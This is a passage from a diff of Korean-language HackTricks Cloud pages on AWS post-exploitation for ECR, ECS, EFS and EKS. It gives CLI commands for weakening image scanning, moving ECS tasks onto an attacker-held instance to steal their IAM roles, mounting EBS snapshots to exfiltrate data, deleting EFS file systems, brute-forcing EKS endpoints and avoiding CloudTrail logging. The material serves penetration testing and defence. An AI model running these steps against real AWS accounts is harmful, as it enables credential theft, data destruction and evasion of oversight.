--image-scanning-configuration scanOnPush=false
```
영향
- 레지스트리 전반에 걸친 새로운 이미지 푸시는 자동으로 스캔되지 않으므로 취약하거나 악성인 컨텐츠의 가시성이 감소하고, 수동 스캔이 시작될 때까지 탐지가 지연됩니다.
### 레지스트리 전체 스캔 엔진 다운그레이드: `ecr:PutAccountSetting`를 통해 (AWS_NATIVE -> CLAIR)
기본 AWS_NATIVE에서 레거시 CLAIR 엔진으로 BASIC 스캔 엔진을 전환하여 레지스트리 전체에서 취약점 탐지 품질을 저하시킬 수 있습니다. 이는 스캐닝을 비활성화하지는 않지만 결과/커버리지에 실질적인 변화를 초래할 수 있습니다. 규칙이 없는 BASIC 레지스트리 스캐닝 구성과 결합하면 스캔을 수동 전용으로 만들 수 있습니다.
요구사항
- `ecr:PutAccountSetting`, `ecr:GetAccountSetting`
- (선택 사항) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration`
영향
- 레지스트리 설정 `BASIC_SCAN_TYPE_VERSION``CLAIR`로 설정되어 이후의 BASIC 스캔은 다운그레이드된 엔진으로 실행됩니다. CloudTrail은 `PutAccountSetting` API 호출을 기록합니다.
단계
```bash
REGION=us-east-1
# 1) Read current value so you can restore it later
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true
# 2) Downgrade BASIC scan engine registrywide to CLAIR
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR
# 3) Verify the setting
aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION
# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manualonly scans)
aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true
# 5) Restore to AWS_NATIVE when finished to avoid side effects
aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE
```
@@ -1,57 +0,0 @@
# AWS - ECS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## ECS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-ecs-enum.md
{{#endref}}
### Host IAM Roles
ECS에서는 **IAM 역할이 컨테이너 내에서 실행되는 작업에 할당될 수 있습니다**. **만약** 작업이 **EC2** 인스턴스 내에서 실행된다면, **EC2 인스턴스**에는 **다른 IAM** 역할이 연결되어 있습니다.\
즉, ECS 인스턴스를 **타격**하는 데 성공하면 **ECR 및 EC2 인스턴스와 연결된 IAM 역할을 얻을 수 있습니다**. 이러한 자격 증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다.
### Privesc to node to steal other containers creds & secrets
게다가, EC2는 EC 작업을 실행하기 위해 도커를 사용하므로, 노드로 탈출하거나 **도커 소켓에 접근할 수 있다면**, 어떤 **다른 컨테이너**가 실행되고 있는지 **확인**할 수 있으며, 심지어 **그 안으로 들어가서** **그들의 IAM 역할을 훔칠 수 있습니다**.
#### Making containers run in current host
또한, **EC2 인스턴스 역할**은 일반적으로 클러스터 내에서 노드로 사용되는 EC2 인스턴스의 **컨테이너 인스턴스 상태를 업데이트할 수 있는 충분한 권한**을 가집니다. 공격자는 **인스턴스의 상태를 DRAINING으로 수정**할 수 있으며, 그러면 ECS는 **모든 작업을 제거하고** **REPLICA**로 실행 중인 작업은 **다른 인스턴스에서 실행**되며, 잠재적으로 **공격자의 인스턴스** 내에서 실행되어 **그들의 IAM 역할을 훔치고** 컨테이너 내부의 잠재적인 민감한 정보를 얻을 수 있습니다.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
같은 기술은 **클러스터에서 EC2 인스턴스를 등록 해제하는** 방식으로 수행될 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **작업이 다른 인스턴스에서 실행되도록 강제할 것입니다:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
작업을 강제로 재실행하는 마지막 기술은 ECS에 **작업 또는 컨테이너가 중지되었다**고 알리는 것입니다. 이를 수행할 수 있는 3가지 잠재적인 API가 있습니다:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### ECR 컨테이너에서 민감한 정보 훔치기
EC2 인스턴스는 아마도 **이미지를 다운로드**할 수 있는 `ecr:GetAuthorizationToken` 권한을 가질 것입니다 (그 안에서 민감한 정보를 검색할 수 있습니다).
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,126 @@
# AWS - ECS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## ECS
For more information check:
{{#ref}}
../../aws-services/aws-ecs-enum.md
{{#endref}}
### Host IAM Roles
ECS에서는 컨테이너 내부에서 실행되는 **IAM role can be assigned to the task**. **If** 그 task가 **EC2** 인스턴스 내에서 실행된다면, **EC2 instance**에는 **another IAM** role이 연결되어 있을 것입니다.\
즉, ECS 인스턴스를 **compromise** 하면 잠재적으로 **obtain the IAM role associated to the ECR and to the EC2 instance** 할 수 있습니다. 해당 자격증명을 얻는 방법에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
{{#endref}}
> [!CAUTION]
> EC2 인스턴스가 IMDSv2를 적용하고 있는 경우, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **response of the PUT request**는 **hop limit of 1**을 가지므로 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근하는 것이 불가능해집니다.
### Privesc to node to steal other containers creds & secrets
또한, EC2는 docker를 사용해 ECs tasks를 실행하므로, 만약 노드로 탈출하거나 **access the docker socket** 할 수 있다면 어떤 **other containers**가 실행 중인지 **check** 할 수 있고, 심지어 그 내부로 **get inside of them** 하여 연결된 **steal their IAM roles** 할 수도 있습니다.
#### Making containers run in current host
게다가, **EC2 instance role**은 보통 클러스터 내 노드로 사용되는 EC2 인스턴스들의 **permissions**가 되어 해당 인스턴스들의 **update the container instance state**를 수행할 수 있을 만큼의 권한을 가지고 있습니다. 공격자는 인스턴스의 **state of an instance to DRAINING**을 변경할 수 있고, 그러면 ECS는 해당 인스턴스에서 **remove all the tasks from it** 하며, **REPLICA**로 실행되던 작업들은 **run in a different instance,** — 잠재적으로 공격자의 **attackers instance** 내부에서 실행되어, 그는 **steal their IAM roles** 및 컨테이너 내부의 민감한 정보를 획득할 수 있습니다.
```bash
aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>
```
동일한 방법은 **deregistering the EC2 instance from the cluster**으로 수행할 수 있습니다. 이는 잠재적으로 덜 은밀하지만 **force the tasks to be run in other instances:**
```bash
aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force
```
작업을 강제로 재실행하게 만드는 마지막 기법은 ECS에 **task or container was stopped**임을 알리는 것입니다. 이를 수행할 수 있는 API는 3가지가 있습니다:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]
# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
### ECR containers에서 민감한 정보 탈취
EC2 인스턴스에는 아마도 `ecr:GetAuthorizationToken` 권한이 있어 **이미지 다운로드**가 가능하며(이미지에서 민감한 정보를 검색할 수 있습니다).
{{#include ../../../../banners/hacktricks-training.md}}
### EBS 스냅샷을 ECS task에 직접 마운트하기 (configuredAtLaunch + volumeConfigurations)
네이티브 ECS EBS 통합(2024+)을 악용해 기존 EBS 스냅샷의 내용을 새 ECS task/service 내부에 직접 마운트하고 컨테이너 내부에서 데이터를 읽습니다.
- 필요 권한(최소):
- ecs:RegisterTaskDefinition
- 다음 중 하나: ecs:RunTask OR ecs:CreateService/ecs:UpdateService
- iam:PassRole 대상:
- 볼륨에 사용되는 ECS 인프라스트럭처 역할(정책: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`)
- Task execution/Task roles (태스크 정의에서 참조됨)
- 스냅샷이 CMK로 암호화되어 있는 경우: 인프라 역할에 대한 KMS 권한 필요 (위 AWS 관리형 정책에는 AWS 관리형 키에 필요한 KMS 권한이 포함되어 있습니다).
- 영향: 스냅샷에서 임의의 디스크 내용을(예: 데이터베이스 파일) 컨테이너 내부에서 읽고 네트워크/로그를 통해 exfiltrate.
Steps (Fargate example):
1) ECS 인프라스트럭처 역할을 생성(존재하지 않는 경우)하고 관리형 정책을 연결합니다:
```bash
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
```
2) `configuredAtLaunch`로 표시된 볼륨을 가진 task definition을 등록하고 컨테이너에 마운트합니다. 예 (시크릿을 출력한 다음 sleep 상태로 유지):
```json
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
```
3) `volumeConfigurations.managedEBSVolume`을 통해 EBS snapshot을 전달하여 서비스를 생성하거나 업데이트합니다 (인프라 역할에 iam:PassRole 필요). 예:
```json
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
```
4) 작업이 시작되면, 컨테이너는 구성된 마운트 경로(예: `/loot`)에서 스냅샷 내용을 읽을 수 있습니다. Exfiltrate via 작업의 네트워크/로그.
Cleanup:
```bash
aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
@@ -1,46 +0,0 @@
# AWS - EFS 포스트 익스플로이테이션
{{#include ../../../banners/hacktricks-training.md}}
## EFS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../aws-services/aws-efs-enum.md
{{#endref}}
### `elasticfilesystem:DeleteMountTarget`
공격자는 마운트 대상을 삭제하여 해당 마운트 대상을 의존하는 애플리케이션과 사용자에 대한 EFS 파일 시스템 접근을 방해할 수 있습니다.
```sql
aws efs delete-mount-target --mount-target-id <value>
```
**잠재적 영향**: 파일 시스템 접근의 중단 및 사용자 또는 애플리케이션에 대한 잠재적 데이터 손실.
### `elasticfilesystem:DeleteFileSystem`
공격자는 전체 EFS 파일 시스템을 삭제할 수 있으며, 이는 데이터 손실로 이어지고 파일 시스템에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
```perl
aws efs delete-file-system --file-system-id <value>
```
**잠재적 영향**: 삭제된 파일 시스템을 사용하는 애플리케이션에 대한 데이터 손실 및 서비스 중단.
### `elasticfilesystem:UpdateFileSystem`
공격자는 EFS 파일 시스템 속성(예: 처리량 모드)을 업데이트하여 성능에 영향을 주거나 리소스 고갈을 초래할 수 있습니다.
```sql
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
```
**잠재적 영향**: 파일 시스템 성능 저하 또는 리소스 고갈.
### `elasticfilesystem:CreateAccessPoint` 및 `elasticfilesystem:DeleteAccessPoint`
공격자는 액세스 포인트를 생성하거나 삭제하여 액세스 제어를 변경하고 잠재적으로 파일 시스템에 대한 무단 액세스를 부여할 수 있습니다.
```arduino
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
aws efs delete-access-point --access-point-id <value>
```
**잠재적 영향**: 파일 시스템에 대한 무단 접근, 데이터 노출 또는 수정.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,46 @@
# AWS - EFS 사후 활동
{{#include ../../../../banners/hacktricks-training.md}}
## EFS
자세한 정보는 다음을 확인하세요:
{{#ref}}
../../aws-services/aws-efs-enum.md
{{#endref}}
### `elasticfilesystem:DeleteMountTarget`
공격자는 mount target을 삭제할 수 있으며, 이는 해당 mount target에 의존하는 애플리케이션과 사용자의 EFS 파일 시스템 접근을 방해할 수 있습니다.
```sql
aws efs delete-mount-target --mount-target-id <value>
```
**잠재적 영향**: 파일 시스템 접근 중단 및 사용자 또는 애플리케이션의 잠재적 데이터 손실.
### `elasticfilesystem:DeleteFileSystem`
공격자는 전체 EFS 파일 시스템을 삭제할 수 있으며, 이는 데이터 손실로 이어지고 해당 파일 시스템에 의존하는 애플리케이션에 영향을 줄 수 있습니다.
```perl
aws efs delete-file-system --file-system-id <value>
```
**Potential Impact**: 삭제된 파일 시스템을 사용하는 애플리케이션의 데이터 손실 및 서비스 중단.
### `elasticfilesystem:UpdateFileSystem`
공격자는 EFS 파일 시스템 속성(예: throughput mode)을 업데이트하여 성능에 영향을 주거나 자원 고갈을 초래할 수 있습니다.
```sql
aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
```
**Potential Impact**: 파일 시스템 성능 저하 또는 리소스 고갈.
### `elasticfilesystem:CreateAccessPoint` 및 `elasticfilesystem:DeleteAccessPoint`
공격자는 액세스 포인트를 생성하거나 삭제하여 접근 제어를 변경하고, 잠재적으로 자신에게 파일 시스템에 대한 무단 접근 권한을 부여할 수 있습니다.
```arduino
aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
aws efs delete-access-point --access-point-id <value>
```
**Potential Impact**: 파일 시스템에 대한 무단 접근, 데이터 노출 또는 수정.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,143 +0,0 @@
# AWS - EKS Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## EKS
자세한 내용은 확인하세요
{{#ref}}
../aws-services/aws-eks-enum.md
{{#endref}}
### AWS 콘솔에서 클러스터 나열하기
**`eks:AccessKubernetesApi`** 권한이 있는 경우 AWS EKS 콘솔을 통해 **Kubernetes 객체를 볼 수 있습니다** ([자세히 알아보기](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### AWS Kubernetes 클러스터에 연결하기
- 쉬운 방법:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- 그렇게 쉬운 방법은 아닙니다:
**`aws eks get-token --name <cluster_name>`** 명령어로 **토큰을 얻을 수** 있지만 클러스터 정보(describeCluster)를 가져올 권한이 없다면, **자신의 `~/.kube/config`를 준비할 수** 있습니다. 그러나 토큰이 있더라도 **연결할 url 엔드포인트**가 필요합니다(만약 pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요)와 **클러스터 이름**이 필요합니다.
제 경우에는 CloudWatch 로그에서 정보를 찾지 못했지만, **LaunchTemplates userData**와 **EC2 머신의 userData에서도** 정보를 찾았습니다. 다음 예제에서 쉽게 이 정보를 볼 수 있습니다(클러스터 이름은 cluster-name이었습니다):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
```
<details>
<summary>kube config</summary>
```yaml
describe-cache-parametersapiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
contexts:
- context:
cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
kind: Config
preferences: {}
users:
- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
user:
exec:
apiVersion: client.authentication.k8s.io/v1beta1
args:
- --region
- us-west-2
- --profile
- <profile>
- eks
- get-token
- --cluster-name
- <cluster-name>
command: aws
env: null
interactiveMode: IfAvailable
provideClusterInfo: false
```
</details>
### AWS에서 Kubernetes로
**EKS 클러스터**의 **생성자**는 **항상** 그룹 **`system:masters`** (k8s 관리자)의 kubernetes 클러스터 부분에 접근할 수 있습니다. 이 글을 작성할 당시 **클러스터를 생성한 사람**을 찾는 **직접적인 방법**은 **없습니다** (CloudTrail을 확인할 수 있습니다). 그리고 그 **권한**을 **제거할 방법**도 **없습니다**.
**더 많은 AWS IAM 사용자 또는 역할에 K8s에 대한 접근을 부여하는 방법**은 **configmap** **`aws-auth`**를 사용하는 것입니다.
> [!WARNING]
> 따라서, config map **`aws-auth`**에 **쓰기 권한**이 있는 사람은 **전체 클러스터를 손상시킬 수 있습니다**.
**같은 계정 또는 다른 계정에서 IAM 역할 및 사용자에게 추가 권한을 부여하는 방법**과 이를 **악용하는 방법**에 대한 자세한 정보는 [**privesc 이 페이지를 확인하세요**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
또한 [**이 멋진**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **게시물을 확인하여 IAM -> Kubernetes 인증이 어떻게 작동하는지 알아보세요**.
### Kubernetes에서 AWS로
**Kubernetes 서비스 계정**에 대한 **OpenID 인증**을 허용하여 AWS에서 역할을 맡을 수 있도록 하는 것이 가능합니다. [**이 페이지에서 이 작업이 어떻게 이루어지는지 알아보세요**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
### JWT 토큰에서 Api 서버 엔드포인트 가져오기
JWT 토큰을 디코딩하면 클러스터 ID와 지역을 얻을 수 있습니다. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) EKS URL의 표준 형식이 다음과 같다는 것을 알고 있습니다.
```bash
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
```
해당 '두 문자'와 '숫자'에 대한 기준을 설명하는 문서를 찾지 못했습니다. 하지만 제 차원에서 몇 가지 테스트를 해본 결과 다음과 같은 조합이 반복적으로 나타났습니다:
- gr7
- yl4
어쨌든 단지 3자이므로 이를 브루트포스할 수 있습니다. 아래 스크립트를 사용하여 목록을 생성하세요.
```python
from itertools import product
from string import ascii_lowercase
letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
number_combinations = product('0123456789', repeat = 1)
result = [
f'{''.join(comb[0])}{comb[1][0]}'
for comb in product(letter_combinations, number_combinations)
]
with open('out.txt', 'w') as f:
f.write('\n'.join(result))
```
그런 다음 wfuzz로
```bash
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
```
> [!WARNING]
> & 를 교체하는 것을 잊지 마세요.
### CloudTrail 우회
공격자가 **EKS에 대한 권한이 있는 AWS의 자격 증명**을 얻으면, 공격자가 이전에 설명한 대로 **`update-kubeconfig`**를 호출하지 않고 자신의 **`kubeconfig`**를 구성하면, **`get-token`**은 AWS API와 상호작용하지 않기 때문에 CloudTrail에 로그를 생성하지 않습니다(로컬에서 토큰을 생성할 뿐입니다).
따라서 공격자가 EKS 클러스터와 대화할 때, **cloudtrail은 도난당한 사용자와 관련된 어떤 것도 기록하지 않을 것입니다**.
**EKS 클러스터는 이 접근을 기록할 수 있는 로그가 활성화되어 있을 수 있습니다**(기본적으로는 비활성화되어 있습니다).
### EKS 랜섬?
기본적으로 **클러스터를 생성한 사용자 또는 역할**은 **항상 클러스터에 대한 관리자 권한을 가집니다**. 그리고 AWS가 Kubernetes 클러스터에 대해 가질 수 있는 유일한 "안전한" 접근입니다.
따라서, **공격자가 fargate를 사용하여 클러스터를 손상시키고** **다른 모든 관리자를 제거하며** **클러스터를 생성한 AWS 사용자/역할을 삭제**하면, ~~공격자는 **클러스터를 랜섬할 수 있습니다**~~**.
> [!TIP]
> 클러스터가 **EC2 VM**을 사용하고 있다면, **노드**에서 관리자 권한을 얻고 클러스터를 복구할 수 있을 가능성이 있습니다.
>
> 실제로 클러스터가 Fargate를 사용하고 있다면 EC2 노드를 사용하거나 모든 것을 EC2로 이동하여 클러스터를 복구하고 노드의 토큰에 접근할 수 있습니다.
{{#include ../../../banners/hacktricks-training.md}}
@@ -0,0 +1,143 @@
# AWS - EKS Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## EKS
자세한 정보는 다음을 확인하세요
{{#ref}}
../../aws-services/aws-eks-enum.md
{{#endref}}
### AWS Console에서 클러스터 열거
권한 **`eks:AccessKubernetesApi`**가 있으면 AWS EKS console을 통해 **Kubernetes objects**를 볼 수 있습니다 ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
### AWS Kubernetes Cluster에 연결
- 쉬운 방법:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
- 그렇게 쉬운 방법은 아님:
만약 **`aws eks get-token --name <cluster_name>`**로 **토큰을 얻을 수 있지만** cluster info (describeCluster)를 조회할 권한이 없다면, **자체 `~/.kube/config`를 준비할 수 있다**. 그러나 토큰을 가지고 있더라도 연결할 **URL 엔드포인트**(pod에서 JWT 토큰을 얻었다면 [여기](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)를 읽어보세요)와 **클러스터 이름**이 필요하다.
제 경우에는 CloudWatch 로그에서는 정보를 찾지 못했지만, **LaunchTemaplates userData에서 찾았고** **EC2 인스턴스의 userData에서도 찾았다**. 이 정보는 **userData**에서 쉽게 확인할 수 있으며, 예를 들어 다음 예제에서(클러스터 이름은 cluster-name이었습니다):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
```
<details>
<summary>kube config</summary>
```yaml
describe-cache-parametersapiVersion: v1
clusters:
- cluster:
certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVD